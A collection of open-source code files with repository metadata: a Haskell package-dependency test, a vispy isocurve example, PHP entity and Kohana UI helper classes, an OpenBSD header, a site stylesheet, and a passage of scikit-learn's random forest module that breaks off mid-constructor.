-- -- | This test reads the current directory and dumps a topologically sorted package list -- module Main where import Distribution.ArchLinux.SrcRepo import System.IO import System.Directory import System.Environment import Control.Monad main = do [pkg] <- getArgs dot <- getCurrentDirectory repo <- getRepoFromDir dot case repo of Nothing -> return () Just r -> foldM (\a -> \s -> putStrLn s) () (getDependencies pkg r)
bsd-3-clause
Eric89GXL/vispy
examples/basics/scene/isocurve_for_trisurface.py
1317
# -*- coding: utf-8 -*- # ----------------------------------------------------------------------------- # Copyright (c) Vispy Development Team. All Rights Reserved. # Distributed under the (new) BSD License. See LICENSE.txt for more info. # ----------------------------------------------------------------------------- """ This example demonstrates isocurve for triangular mesh with vertex data. """ import numpy as np from vispy import app, scene from vispy.geometry.generation import create_sphere import sys # Create a canvas with a 3D viewport canvas = scene.SceneCanvas(keys='interactive', title='Isocurve for Triangular Mesh Example') canvas.show() view = canvas.central_widget.add_view() cols = 10 rows = 10 radius = 2 nbr_level = 20 mesh = create_sphere(cols, rows, radius=radius) vertices = mesh.get_vertices() tris = mesh.get_faces() cl = np.linspace(-radius, radius, nbr_level+2)[1:-1] scene.visuals.Isoline(vertices=vertices, tris=tris, data=vertices[:, 2], levels=cl, color_lev='winter', parent=view.scene) # Add a 3D axis to keep us oriented scene.visuals.XYZAxis(parent=view.scene) view.camera = scene.TurntableCamera() view.camera.set_range((-1, 1), (-1, 1), (-1, 1)) if __name__ == '__main__' and sys.flags.interactive == 0: app.run()
bsd-3-clause
adaoex/email-marketing
src/EmailMarketing/Domain/Entity/Contato.php
1436
<?php namespace EmailMarketing\Domain\Entity; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\Common\Collections\Collection; class Contato { private $id; private $nome; private $email; private $tags; public function __construct() { $this->tags = new ArrayCollection(); } public function getTags(): Collection { return $this->tags; } public function addTags(\Doctrine\Common\Collections\Collection $tags) { foreach ($tags as $tag) { $tag->getContatos()->add($this); $this->tags->add($tag); } return $this; } public function removeTags(\Doctrine\Common\Collections\Collection $tags) { foreach ($tags as $tag) { $tag->getContatos()->removeEelement($this); $this->tags->removeElement($tag); } return $this; } public function getId() { return $this->id; } public function getNome() { return $this->nome; } public function getEmail() { return $this->email; } public function setId(int $id) { $this->id = $id; return $this; } public function setNome(string $nome) { $this->nome = $nome; return $this; } public function setEmail(string $email) { $this->email = $email; return $this; } }
bsd-3-clause
MarginC/kame
openbsd/sys/arch/mvmeppc/include/ptrace.h
91
/* $OpenBSD: ptrace.h,v 1.2 2001/09/02 19:40:24 miod Exp $ */ #include <powerpc/ptrace.h>
bsd-3-clause
jaybril/www.juice.com
frontend/web/css/com.css
11404
@charset "utf-8"; /*reset*/ html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,img,ins,kbd,q,s,samp,small,strike,strong,sub,sup,tt,var,b,u,i,center,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,table,caption,tbody,tfoot,thead,tr,th,td,article,aside,canvas,details,figcaption,figure,footer,header,hgroup,menu,nav,section,summary,time,mark,audio,video,input{ margin: 0; padding: 0; border: 0; outline: 0; word-wrap: break-word; -webkit-tap-highlight-color: rgba(0,0,0,0);} html { font-size: 100%; overflow-y: scroll; -webkit-text-size-adjust: 100%; -ms-text-size-adjust: 100%; } article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{ display: block; clear: both } h1,h2,h3,h4,h5,h6{ font-size: 100%} form{ display: inline} ul,ol{list-style:none} header,footer,article,section,nav,menu,hgroup{ display: block; clear: both} img{ vertical-align: middle; border: 0; max-width: 100%; height: auto; width: auto\9; -ms-interpolation-mode: bicubic; -webkit-tap-highlight-color: rgba(0,0,0,0)} button,input,select,textarea{ font-size: 100%; vertical-align: middle; outline: 0; padding: 0; border: 0;} textarea{ resize: none} input,select{ margin: 0; padding: 0; border: 0; background: 0; font-size: 1.4rem;} button,input[type="button"],input[type="reset"],input[type="submit"]{ cursor: pointer; -webkit-appearance: button; -moz-appearance: button} input[type=search]{ -webkit-appearance: textfield} input[type="text"],input[type="tel"],input[type="search"],input[type="email"],input[type="password"],textarea{ -webkit-appearance: none; } table{ border-collapse: collapse; border-spacing: 0} a,button,input{-webkit-tap-highlight-color:rgba(255,0,0,0);} a[href], button { -ms-touch-action: none; touch-action: none; } a:hover, a:active { outline: 0; } a:focus { outline: thin dotted; } /*main*/ html,body{ height: 100%;} html{ font-size: 20px;} body{ font: 12px/1.5 "microsoft yahei", arial, sans-serif; -webkit-text-size-adjust: none; color: #3a3a3a; background: #fff; margin: 0 auto;} a{ text-decoration: none; color: #f76540;} a:hover{ color:#f76540;} input::-webkit-input-placeholder {color:#3a3a3a;} input::-moz-placeholder {color:#3a3a3a;} input::-ms-input-placeholder {color: #3a3a3a;} .layout1190{ width: 1190px; margin: 0 auto;} .layout1062{ width: 1062px; margin: 0 auto;} /*font*/ @font-face { font-family: 'iconfont'; src: url('//at.alicdn.com/t/font_1442243084_0455112.eot'); /* IE9*/ src: url('//at.alicdn.com/t/font_1442243084_0455112.eot?#iefix') format('embedded-opentype'), /* IE6-IE8 */ url('//at.alicdn.com/t/font_1442243084_0455112.woff') format('woff'), /* chrome、firefox */ url('//at.alicdn.com/t/font_1442243084_0455112.ttf') format('truetype'), /* chrome、firefox、opera、Safari, Android, iOS 4.2+*/ url('//at.alicdn.com/t/font_1442243084_0455112.svg#iconfont') format('svg'); /* iOS 4.1- */ } .iconfont { font-family:"iconfont" !important; font-size:16px; font-style:normal; -webkit-font-smoothing: antialiased; -webkit-text-stroke-width: 0.2px; -moz-osx-font-smoothing: grayscale; } /*com*/ .hide{ display: none} .show{ display: block} .ellipsis{ white-space: nowrap; text-overflow: ellipsis; overflow: hidden; word-break: keep-all;} .break{ word-break: break-all; word-wrap: break-word} .clearfix{ clear: left; zoom: 1;} .clearfix:after { content: "."; display: block; height: 0; clear: both; visibility: hidden; zoom: 1} .box-sizing{ box-sizing: border-box; -moz-box-sizing:border-box; -webkit-box-sizing: border-box;} .bold{ font-weight: bold} .transition{ -webkit-transition: all linear 0.5s; -moz-transition: all linear 0.5s; transition: all linear 0.5s;} .ft14{ font-size: 14px;} .ft16{ font-size: 16px;} .ft18{ font-size: 18px;} .ft20{ font-size: 20px;} .ft24{ font-size: 24px;} .ft26{ font-size: 26px;} /*header*/ .gol_header{ height: 70px; padding: 20px 0;} .gol_header .bd{ padding: 0 100px; } .gol_header .logo{ display: block; background: url("../../images/com/[email protected]") no-repeat; width: 154px; height: 70px;} /*nav*/ .gol_nav_wp{ background: #323232; height: 50px;} .gol_nav{ position: relative;} .gol_nav ul{ float: left; padding-left: 100px; overflow: hidden; zoom: 1} .gol_nav li{ float: left;} .gol_nav li a{ float: left; height: 50px; padding: 0 32px; line-height: 50px; border-left: 1px solid #3a3a3a; border-right: 1px solid #3a3a3a; color: #fff; font-size: 14px; -webkit-transition: all linear 0.5s; -moz-transition: all linear 0.5s; transition: all linear 0.5s;} .gol_nav .cur a,.gol_nav li a:hover{ background: #f76540; text-decoration: none} .gol_nav .search a{ padding: 0 20px; font-size: 22px;} .gol_nav .fast{ position: absolute; right: 86px; top: -8px; transition: all linear 0.5s; z-index: 9999} .gol_nav .fast .bg{ position: relative; display: block; background: url("../../images/com/fast.png") no-repeat; width: 198px; height: 63px; transition: all linear 0.5s;} .gol_nav .hum{ position: absolute; right: 60px; top: -93px; background: url("../../images/com/cz.png") no-repeat; width: 81px; height: 103px; -webkit-transition: all linear 0.5s; -moz-transition: all linear 0.5s; transition: all linear 0.5s;} .gol_nav .fast:hover .hum{ animation: 4s linear 0s infinite move; -webkit-animation: 4s linear 0s infinite move; -moz-animation: 4s linear 0s infinite move; transform: translate3d(0,0,0);} /*小人*/ @-webkit-keyframes move{ 0% {right:86px;} 25% {right:76px;} 50% {right:86px;} 75% {right:96px;} 100% {right:86px;} } @-moz-keyframes move{ 0% {right:66px;} 25% {right:86px;} 50% {right:66px;} 75% {right:86px;} 100% {right:66px;} } @-ms-keyframes move{ 0% {right:66px;} 25% {right:86px;} 50% {right:66px;} 75% {right:86px;} 100% {right:66px;} } @-webkit-keyframes move{ 0% {right:86px;} 25% {right:76px;} 50% {right:86px;} 75% {right:96px;} 100% {right:86px;} } /*联系*/ .gol_contact_wp{ background: #3b3b3b; border-top: 1px solid #e74e30;} .gol_contact{ width: 1200px; height: 253px; margin: 0 auto; padding: 30px 0;} .gol_contact .weixin-main{ position: absolute; display: none; background: url("../../images/com/wei.png") no-repeat; width: 220px; height: 236px; z-index: 1000 } .gol_contact .ly-lt{ float: left; overflow: hidden; zoom: 1} .gol_contact .ly-lt dl{ float: left; width: 88px; padding-right: 15px;} .gol_contact .ly-lt dt{ margin-bottom: 10px; font-size: 18px; color: #e74e30; font-weight: bold;} .gol_contact .ly-lt dd{ color: #cdcdcd; line-height: 22px;} .gol_contact .ly-lt dd a{ color: #cdcdcd; font-size: 12px;} .gol_contact .ly-lt dd a:hover{ color: #e74e30;} .gol_contact .ly-rt{ float: right; width: 360px; height: 263px; padding-left: 15px; border-left: 1px solid #e74e30; color: #c7c7c7; overflow: hidden;} .gol_contact .search_wp{ position: relative; width: 316px; height: 38px;} .gol_contact .search_wp input{ background: #7c7c7c; width: 260px; height: 38px; padding: 0 10px; padding-right: 40px; line-height: 38px; font-size: 12px;} .gol_contact .search_wp input:focus,.gol_contact .search_wp input:hover{ background: #fff;} .gol_contact .search_wp .iconfont{ position: absolute; right: 10px; top: -5px; font-size: 30px; cursor: pointer} .gol_contact .search_wp .iconfont:hover{ color: #e74e30} .gol_contact .search_wp .btn{ position: absolute; right: 0; top: -2px; width: 48px; height: 38px; filter:alpha( Opacity=0); opacity: 0} .gol_contact .ext{ margin-top: 30px; overflow: hidden; zoom: 1} .gol_contact .ext h3{ margin-bottom: 10px; font-size: 18px; color: #e74e30} .gol_contact .ext ul{ width: 440px; overflow: hidden; zoom: 1} .gol_contact .ext li{ float: left; width: 64px; margin-right: 10px; text-align: center; font-size: 14px;} .gol_contact .ext li .ico{ background: url("../../images/com/msg.png") no-repeat; width: 58px; height: 57px; margin-bottom: 10px; -webkit-transition: all linear 0.2s; -moz-transition: all linear 0.2s; transition: all linear 0.2s; } .gol_contact .ext .weibo .ico{ background-position: -97px 0} .gol_contact .ext .weibo a{ display: block; width: 58px; height: 57px;} .gol_contact .ext .wx{ margin-right: 15px;} .gol_contact .ext .tel{ width: 100px; } .gol_contact .ext .tel .ico{ background-position: -191px 0; margin: 0 auto; margin-bottom: 10px;} .gol_contact .ext .tel span{ color: #fff;} .gol_contact .ext .add{ width: 70px;} .gol_contact .ext .add .ico{ background-position: -284px 0; margin: 0 auto; margin-bottom: 10px;} .gol_contact .ext .add span{ font-size: 12px; color: #fff} .gol_contact .ext .add a{ display: block; width: 58px; height: 57px;} .gol_contact .ext .wx:hover .ico{ background-position: 0 -67px} .gol_contact .ext .weibo:hover .ico{ background-position: -97px -67px} .gol_contact .ext .tel:hover .ico{ background-position: -191px -67px} .gol_contact .ext .add:hover .ico{ background-position: -284px -67px} .gol_contact .ext li:hover p,.gol_contact .ext li:hover span{ color: #e74e30; -webkit-transition: all linear 0.2s; -moz-transition: all linear 0.2s; transition: all linear 0.2s; } /*版权*/ .gol_footer_wp{ background: #292929;} .gol_footer{ width: 1190px; margin: 0 auto; padding: 15px 0; color: #d5d3d3; font-size: 14px; overflow: hidden;} .gol_footer .ly_lt{ float: left;} .gol_footer .ly_lt a{ margin-right: 10px; color: #c7c7c7} .gol_footer .ly_lt a:hover{ color: #e74e30} .gol_footer .ly_rt{ float: right; color: #c7c7c7;} /*橙子*/ .gol_cz_wp{ background: #f76540;} .gol_cz{ position: relative; height: 110px; z-index: 999} .gol_cz_wp .bg{ position: absolute; top: 32px; left: 50%; display: block; background: url("../../images/com/fast.png") no-repeat; width: 198px; height: 63px; margin-left: 25px; transition: all linear 0.5s; z-index: 10} .gol_cz_wp .hum{ position: absolute; top: -42px; left: 50%; background: url("../../images/com/cz2.png") no-repeat; width: 111px; height: 150px; margin-left: -50px; transition: all linear 0.5s; z-index: 0 } .gol_cz_wp .hum{ animation: 4s linxear 0s infinite move; -webkit-animation: 4s linear 0s infinite move; -moz-animation: 4s linear 0s infinite move; transform: translate3d(0,0,0);} .gol_cz_wp .hum_hand{ position: absolute; top: 30px; left: 50%; background: url("../../images/com/cz2.png") no-repeat 0 -197px; width: 24px; height: 16px; margin-left: 34px; z-index: 20} .gol_cz:hover .bg{ left: 45%;} /*菜单锚点*/ .banner_max-pagination{ left: 20px; right: inherit; width: 26px; text-align: center; } .banner_max-pagination .swiper-pagination-bullet{ background: #fff; width: 20px; height: 20px; opacity: 1; -webkit-box-shadow:0 0 10px rgba(0, 0, 0, .2); -moz-box-shadow:0 0 10px rgba(0, 0, 0, .2); box-shadow:0 0 10px rgba(0, 0, 0, .2); } .banner_max-pagination .swiper-pagination-bullet-active{ position: relative; left: -2px; background: #f76540; width: 26px; height: 26px; } .img_arr{ position: absolute; bottom: 30px; width: 97px; height: 28px; left: 50%; margin-left: -43px; z-index: 999999} .pt-page-moveIconUp { animation: 1.5s ease 0s normal both infinite running moveToBottom; } @keyframes moveToBottom { 0% { } 100% { transform: translateY(100%); } }
bsd-3-clause
listenrightmeow/KOHANA-UI
modules/ui/classes/kohana/ui.php
2622
<?php defined('SYSPATH') or die('No direct script access.'); abstract class Kohana_UI { /** * Return assets from Masher config. Utilize 3.0 helpers (http://kohanaframework.org/3.0/guide/api/HTML) * * // Call position or type specific assets * UI::masher('footer', 'js', $page); * * @author Michael Dyer * @param string string : location, type, page * @return Kohana_Ui * @throws None */ public static function masher($location, $type, $page) { $assets = array( 'header' => array( 'css' => array(), 'js' => array(), 'str' => '', ), 'footer' => array( 'css' => array(), 'js' => array(), 'str' => '', ), ); $masher = Kohana::$config->load('masher'); array_push($assets[$location][$type], $masher[$page][$type]); foreach ($assets[$location][$type][0] as $key => $asset) { $assets[$location]['str'] .= ($type == 'css') ? HTML::style($asset) : HTML::script($asset); } return $assets[$location]['str']; } /** * Return CDN paths for anchor medium * * // Link will return a full URI protocol mapped to defaults.config * UI::link($base, $content, $attributes); * * @author Michael Dyer * @param string string array : base, content, attributes * @return Kohana_Ui * @throws None */ public static function link($base, $content, $attributes) { if(!isset($attributes)) exit; $defaults = Kohana::$config->load('defaults'); if(isset($base)) { $attributes['href'] = $defaults['paths'][$base].$attributes['href']; } return '<a'.HTML::attributes($attributes).'>'.$content.'</a>'; } /** * Return dynamic text wrapper * * // Text will wrap content in $type tags * UI::text($content, $type, $attributes); * * @author Michael Dyer * @param string string array : content, null, null * @return Kohana_Ui * @throws None */ public static function text($content, $type = null, $attributes = null) { if(!isset($type)) $type = 'span'; return '<'.$type.HTML::attributes($attributes).'>'.$content.'</'.$type.'>'; } /** * Return CDN paths for image medium * * // Link will return a full URI protocol mapped to defaults.config * UI::image($base, $content, $attributes); * * @author Michael Dyer * @param string string array : base, content, attributes * @return Kohana_Ui * @throws None */ public static function img($uri, $base = null, $attributes = null) { if(!isset($uri)) exit; $defaults = Kohana::$config->load('defaults'); if(!isset($base)){ $base = 'cdn'; } $uri = $defaults['paths'][$base].$uri; return HTML::image($uri, $attributes); } } // END KOHANA UI
bsd-3-clause
kevin-intel/scikit-learn
sklearn/ensemble/_forest.py
102940
""" Forest of trees-based ensemble methods. Those methods include random forests and extremely randomized trees. The module structure is the following: - The ``BaseForest`` base class implements a common ``fit`` method for all the estimators in the module. The ``fit`` method of the base ``Forest`` class calls the ``fit`` method of each sub-estimator on random samples (with replacement, a.k.a. bootstrap) of the training set. The init of the sub-estimator is further delegated to the ``BaseEnsemble`` constructor. - The ``ForestClassifier`` and ``ForestRegressor`` base classes further implement the prediction logic by computing an average of the predicted outcomes of the sub-estimators. - The ``RandomForestClassifier`` and ``RandomForestRegressor`` derived classes provide the user with concrete implementations of the forest ensemble method using classical, deterministic ``DecisionTreeClassifier`` and ``DecisionTreeRegressor`` as sub-estimator implementations. - The ``ExtraTreesClassifier`` and ``ExtraTreesRegressor`` derived classes provide the user with concrete implementations of the forest ensemble method using the extremely randomized trees ``ExtraTreeClassifier`` and ``ExtraTreeRegressor`` as sub-estimator implementations. Single and multi-output problems are both handled. """ # Authors: Gilles Louppe <[email protected]> # Brian Holt <[email protected]> # Joly Arnaud <[email protected]> # Fares Hedayati <[email protected]> # # License: BSD 3 clause import numbers from warnings import catch_warnings, simplefilter, warn import threading from abc import ABCMeta, abstractmethod import numpy as np from scipy.sparse import issparse from scipy.sparse import hstack as sparse_hstack from joblib import Parallel from ..base import is_classifier from ..base import ClassifierMixin, RegressorMixin, MultiOutputMixin from ..metrics import accuracy_score, r2_score from ..preprocessing import OneHotEncoder from ..tree import (DecisionTreeClassifier, DecisionTreeRegressor, ExtraTreeClassifier, ExtraTreeRegressor) from ..tree._tree import DTYPE, DOUBLE from ..utils import check_random_state, compute_sample_weight, deprecated from ..exceptions import DataConversionWarning from ._base import BaseEnsemble, _partition_estimators from ..utils.fixes import delayed from ..utils.fixes import _joblib_parallel_args from ..utils.multiclass import check_classification_targets, type_of_target from ..utils.validation import check_is_fitted, _check_sample_weight __all__ = ["RandomForestClassifier", "RandomForestRegressor", "ExtraTreesClassifier", "ExtraTreesRegressor", "RandomTreesEmbedding"] MAX_INT = np.iinfo(np.int32).max def _get_n_samples_bootstrap(n_samples, max_samples): """ Get the number of samples in a bootstrap sample. Parameters ---------- n_samples : int Number of samples in the dataset. max_samples : int or float The maximum number of samples to draw from the total available: - if float, this indicates a fraction of the total and should be the interval `(0.0, 1.0]`; - if int, this indicates the exact number of samples; - if None, this indicates the total number of samples. Returns ------- n_samples_bootstrap : int The total number of samples to draw for the bootstrap sample. """ if max_samples is None: return n_samples if isinstance(max_samples, numbers.Integral): if not (1 <= max_samples <= n_samples): msg = "`max_samples` must be in range 1 to {} but got value {}" raise ValueError(msg.format(n_samples, max_samples)) return max_samples if isinstance(max_samples, numbers.Real): if not (0 < max_samples <= 1): msg = "`max_samples` must be in range (0.0, 1.0] but got value {}" raise ValueError(msg.format(max_samples)) return round(n_samples * max_samples) msg = "`max_samples` should be int or float, but got type '{}'" raise TypeError(msg.format(type(max_samples))) def _generate_sample_indices(random_state, n_samples, n_samples_bootstrap): """ Private function used to _parallel_build_trees function.""" random_instance = check_random_state(random_state) sample_indices = random_instance.randint(0, n_samples, n_samples_bootstrap) return sample_indices def _generate_unsampled_indices(random_state, n_samples, n_samples_bootstrap): """ Private function used to forest._set_oob_score function.""" sample_indices = _generate_sample_indices(random_state, n_samples, n_samples_bootstrap) sample_counts = np.bincount(sample_indices, minlength=n_samples) unsampled_mask = sample_counts == 0 indices_range = np.arange(n_samples) unsampled_indices = indices_range[unsampled_mask] return unsampled_indices def _parallel_build_trees(tree, forest, X, y, sample_weight, tree_idx, n_trees, verbose=0, class_weight=None, n_samples_bootstrap=None): """ Private function used to fit a single tree in parallel.""" if verbose > 1: print("building tree %d of %d" % (tree_idx + 1, n_trees)) if forest.bootstrap: n_samples = X.shape[0] if sample_weight is None: curr_sample_weight = np.ones((n_samples,), dtype=np.float64) else: curr_sample_weight = sample_weight.copy() indices = _generate_sample_indices(tree.random_state, n_samples, n_samples_bootstrap) sample_counts = np.bincount(indices, minlength=n_samples) curr_sample_weight *= sample_counts if class_weight == 'subsample': with catch_warnings(): simplefilter('ignore', DeprecationWarning) curr_sample_weight *= compute_sample_weight('auto', y, indices=indices) elif class_weight == 'balanced_subsample': curr_sample_weight *= compute_sample_weight('balanced', y, indices=indices) tree.fit(X, y, sample_weight=curr_sample_weight, check_input=False) else: tree.fit(X, y, sample_weight=sample_weight, check_input=False) return tree class BaseForest(MultiOutputMixin, BaseEnsemble, metaclass=ABCMeta): """ Base class for forests of trees. Warning: This class should not be used directly. Use derived classes instead. """ @abstractmethod def __init__(self, base_estimator, n_estimators=100, *, estimator_params=tuple(), bootstrap=False, oob_score=False, n_jobs=None, random_state=None, verbose=0, warm_start=False, class_weight=None, max_samples=None): super().__init__( base_estimator=base_estimator, n_estimators=n_estimators, estimator_params=estimator_params) self.bootstrap = bootstrap self.oob_score = oob_score self.n_jobs = n_jobs self.random_state = random_state self.verbose = verbose self.warm_start = warm_start self.class_weight = class_weight self.max_samples = max_samples def apply(self, X): """ Apply trees in the forest to X, return leaf indices. Parameters ---------- X : {array-like, sparse matrix} of shape (n_samples, n_features) The input samples. Internally, its dtype will be converted to ``dtype=np.float32``. If a sparse matrix is provided, it will be converted into a sparse ``csr_matrix``. Returns ------- X_leaves : ndarray of shape (n_samples, n_estimators) For each datapoint x in X and for each tree in the forest, return the index of the leaf x ends up in. """ X = self._validate_X_predict(X) results = Parallel(n_jobs=self.n_jobs, verbose=self.verbose, **_joblib_parallel_args(prefer="threads"))( delayed(tree.apply)(X, check_input=False) for tree in self.estimators_) return np.array(results).T def decision_path(self, X): """ Return the decision path in the forest. .. versionadded:: 0.18 Parameters ---------- X : {array-like, sparse matrix} of shape (n_samples, n_features) The input samples. Internally, its dtype will be converted to ``dtype=np.float32``. If a sparse matrix is provided, it will be converted into a sparse ``csr_matrix``. Returns ------- indicator : sparse matrix of shape (n_samples, n_nodes) Return a node indicator matrix where non zero elements indicates that the samples goes through the nodes. The matrix is of CSR format. n_nodes_ptr : ndarray of shape (n_estimators + 1,) The columns from indicator[n_nodes_ptr[i]:n_nodes_ptr[i+1]] gives the indicator value for the i-th estimator. """ X = self._validate_X_predict(X) indicators = Parallel(n_jobs=self.n_jobs, verbose=self.verbose, **_joblib_parallel_args(prefer='threads'))( delayed(tree.decision_path)(X, check_input=False) for tree in self.estimators_) n_nodes = [0] n_nodes.extend([i.shape[1] for i in indicators]) n_nodes_ptr = np.array(n_nodes).cumsum() return sparse_hstack(indicators).tocsr(), n_nodes_ptr def fit(self, X, y, sample_weight=None): """ Build a forest of trees from the training set (X, y). Parameters ---------- X : {array-like, sparse matrix} of shape (n_samples, n_features) The training input samples. Internally, its dtype will be converted to ``dtype=np.float32``. If a sparse matrix is provided, it will be converted into a sparse ``csc_matrix``. y : array-like of shape (n_samples,) or (n_samples, n_outputs) The target values (class labels in classification, real numbers in regression). sample_weight : array-like of shape (n_samples,), default=None Sample weights. If None, then samples are equally weighted. Splits that would create child nodes with net zero or negative weight are ignored while searching for a split in each node. In the case of classification, splits are also ignored if they would result in any single class carrying a negative weight in either child node. Returns ------- self : object """ # Validate or convert input data if issparse(y): raise ValueError( "sparse multilabel-indicator for y is not supported." ) X, y = self._validate_data(X, y, multi_output=True, accept_sparse="csc", dtype=DTYPE) if sample_weight is not None: sample_weight = _check_sample_weight(sample_weight, X) if issparse(X): # Pre-sort indices to avoid that each individual tree of the # ensemble sorts the indices. X.sort_indices() y = np.atleast_1d(y) if y.ndim == 2 and y.shape[1] == 1: warn("A column-vector y was passed when a 1d array was" " expected. Please change the shape of y to " "(n_samples,), for example using ravel().", DataConversionWarning, stacklevel=2) if y.ndim == 1: # reshape is necessary to preserve the data contiguity against vs # [:, np.newaxis] that does not. y = np.reshape(y, (-1, 1)) if self.criterion == "poisson": if np.any(y < 0): raise ValueError("Some value(s) of y are negative which is " "not allowed for Poisson regression.") if np.sum(y) <= 0: raise ValueError("Sum of y is not strictly positive which " "is necessary for Poisson regression.") self.n_outputs_ = y.shape[1] y, expanded_class_weight = self._validate_y_class_weight(y) if getattr(y, "dtype", None) != DOUBLE or not y.flags.contiguous: y = np.ascontiguousarray(y, dtype=DOUBLE) if expanded_class_weight is not None: if sample_weight is not None: sample_weight = sample_weight * expanded_class_weight else: sample_weight = expanded_class_weight # Get bootstrap sample size n_samples_bootstrap = _get_n_samples_bootstrap( n_samples=X.shape[0], max_samples=self.max_samples ) # Check parameters self._validate_estimator() # TODO: Remove in v1.2 if isinstance(self, (RandomForestRegressor, ExtraTreesRegressor)): if self.criterion == "mse": warn( "Criterion 'mse' was deprecated in v1.0 and will be " "removed in version 1.2. Use `criterion='squared_error'` " "which is equivalent.", FutureWarning ) elif self.criterion == "mae": warn( "Criterion 'mae' was deprecated in v1.0 and will be " "removed in version 1.2. Use `criterion='absolute_error'` " "which is equivalent.", FutureWarning ) if not self.bootstrap and self.oob_score: raise ValueError("Out of bag estimation only available" " if bootstrap=True") random_state = check_random_state(self.random_state) if not self.warm_start or not hasattr(self, "estimators_"): # Free allocated memory, if any self.estimators_ = [] n_more_estimators = self.n_estimators - len(self.estimators_) if n_more_estimators < 0: raise ValueError('n_estimators=%d must be larger or equal to ' 'len(estimators_)=%d when warm_start==True' % (self.n_estimators, len(self.estimators_))) elif n_more_estimators == 0: warn("Warm-start fitting without increasing n_estimators does not " "fit new trees.") else: if self.warm_start and len(self.estimators_) > 0: # We draw from the random state to get the random state we # would have got if we hadn't used a warm_start. random_state.randint(MAX_INT, size=len(self.estimators_)) trees = [self._make_estimator(append=False, random_state=random_state) for i in range(n_more_estimators)] # Parallel loop: we prefer the threading backend as the Cython code # for fitting the trees is internally releasing the Python GIL # making threading more efficient than multiprocessing in # that case. However, for joblib 0.12+ we respect any # parallel_backend contexts set at a higher level, # since correctness does not rely on using threads. trees = Parallel(n_jobs=self.n_jobs, verbose=self.verbose, **_joblib_parallel_args(prefer='threads'))( delayed(_parallel_build_trees)( t, self, X, y, sample_weight, i, len(trees), verbose=self.verbose, class_weight=self.class_weight, n_samples_bootstrap=n_samples_bootstrap) for i, t in enumerate(trees)) # Collect newly grown trees self.estimators_.extend(trees) if self.oob_score: y_type = type_of_target(y) if y_type in ("multiclass-multioutput", "unknown"): # FIXME: we could consider to support multiclass-multioutput if # we introduce or reuse a constructor parameter (e.g. # oob_score) allowing our user to pass a callable defining the # scoring strategy on OOB sample. raise ValueError( f"The type of target cannot be used to compute OOB " f"estimates. Got {y_type} while only the following are " f"supported: continuous, continuous-multioutput, binary, " f"multiclass, multilabel-indicator." ) self._set_oob_score_and_attributes(X, y) # Decapsulate classes_ attributes if hasattr(self, "classes_") and self.n_outputs_ == 1: self.n_classes_ = self.n_classes_[0] self.classes_ = self.classes_[0] return self @abstractmethod def _set_oob_score_and_attributes(self, X, y): """Compute and set the OOB score and attributes. Parameters ---------- X : array-like of shape (n_samples, n_features) The data matrix. y : ndarray of shape (n_samples, n_outputs) The target matrix. """ def _compute_oob_predictions(self, X, y): """Compute and set the OOB score. Parameters ---------- X : array-like of shape (n_samples, n_features) The data matrix. y : ndarray of shape (n_samples, n_outputs) The target matrix. Returns ------- oob_pred : ndarray of shape (n_samples, n_classes, n_outputs) or \ (n_samples, 1, n_outputs) The OOB predictions. """ X = self._validate_data(X, dtype=DTYPE, accept_sparse='csr', reset=False) n_samples = y.shape[0] n_outputs = self.n_outputs_ if is_classifier(self) and hasattr(self, "n_classes_"): # n_classes_ is a ndarray at this stage # all the supported type of target will have the same number of # classes in all outputs oob_pred_shape = (n_samples, self.n_classes_[0], n_outputs) else: # for regression, n_classes_ does not exist and we create an empty # axis to be consistent with the classification case and make # the array operations compatible with the 2 settings oob_pred_shape = (n_samples, 1, n_outputs) oob_pred = np.zeros(shape=oob_pred_shape, dtype=np.float64) n_oob_pred = np.zeros((n_samples, n_outputs), dtype=np.int64) n_samples_bootstrap = _get_n_samples_bootstrap( n_samples, self.max_samples, ) for estimator in self.estimators_: unsampled_indices = _generate_unsampled_indices( estimator.random_state, n_samples, n_samples_bootstrap, ) y_pred = self._get_oob_predictions( estimator, X[unsampled_indices, :] ) oob_pred[unsampled_indices, ...] += y_pred n_oob_pred[unsampled_indices, :] += 1 for k in range(n_outputs): if (n_oob_pred == 0).any(): warn( "Some inputs do not have OOB scores. This probably means " "too few trees were used to compute any reliable OOB " "estimates.", UserWarning ) n_oob_pred[n_oob_pred == 0] = 1 oob_pred[..., k] /= n_oob_pred[..., [k]] return oob_pred def _validate_y_class_weight(self, y): # Default implementation return y, None def _validate_X_predict(self, X): """ Validate X whenever one tries to predict, apply, predict_proba.""" check_is_fitted(self) return self.estimators_[0]._validate_X_predict(X, check_input=True) @property def feature_importances_(self): """ The impurity-based feature importances. The higher, the more important the feature. The importance of a feature is computed as the (normalized) total reduction of the criterion brought by that feature. It is also known as the Gini importance. Warning: impurity-based feature importances can be misleading for high cardinality features (many unique values). See :func:`sklearn.inspection.permutation_importance` as an alternative. Returns ------- feature_importances_ : ndarray of shape (n_features,) The values of this array sum to 1, unless all trees are single node trees consisting of only the root node, in which case it will be an array of zeros. """ check_is_fitted(self) all_importances = Parallel(n_jobs=self.n_jobs, **_joblib_parallel_args(prefer='threads'))( delayed(getattr)(tree, 'feature_importances_') for tree in self.estimators_ if tree.tree_.node_count > 1) if not all_importances: return np.zeros(self.n_features_in_, dtype=np.float64) all_importances = np.mean(all_importances, axis=0, dtype=np.float64) return all_importances / np.sum(all_importances) # TODO: Remove in 1.2 # mypy error: Decorated property not supported @deprecated( # type: ignore "Attribute n_features_ was deprecated in version 1.0 and will be " "removed in 1.2. Use 'n_features_in_' instead." ) @property def n_features_(self): return self.n_features_in_ def _accumulate_prediction(predict, X, out, lock): """ This is a utility function for joblib's Parallel. It can't go locally in ForestClassifier or ForestRegressor, because joblib complains that it cannot pickle it when placed there. """ prediction = predict(X, check_input=False) with lock: if len(out) == 1: out[0] += prediction else: for i in range(len(out)): out[i] += prediction[i] class ForestClassifier(ClassifierMixin, BaseForest, metaclass=ABCMeta): """ Base class for forest of trees-based classifiers. Warning: This class should not be used directly. Use derived classes instead. """ @abstractmethod def __init__(self, base_estimator, n_estimators=100, *, estimator_params=tuple(), bootstrap=False, oob_score=False, n_jobs=None, random_state=None, verbose=0, warm_start=False, class_weight=None, max_samples=None): super().__init__( base_estimator, n_estimators=n_estimators, estimator_params=estimator_params, bootstrap=bootstrap, oob_score=oob_score, n_jobs=n_jobs, 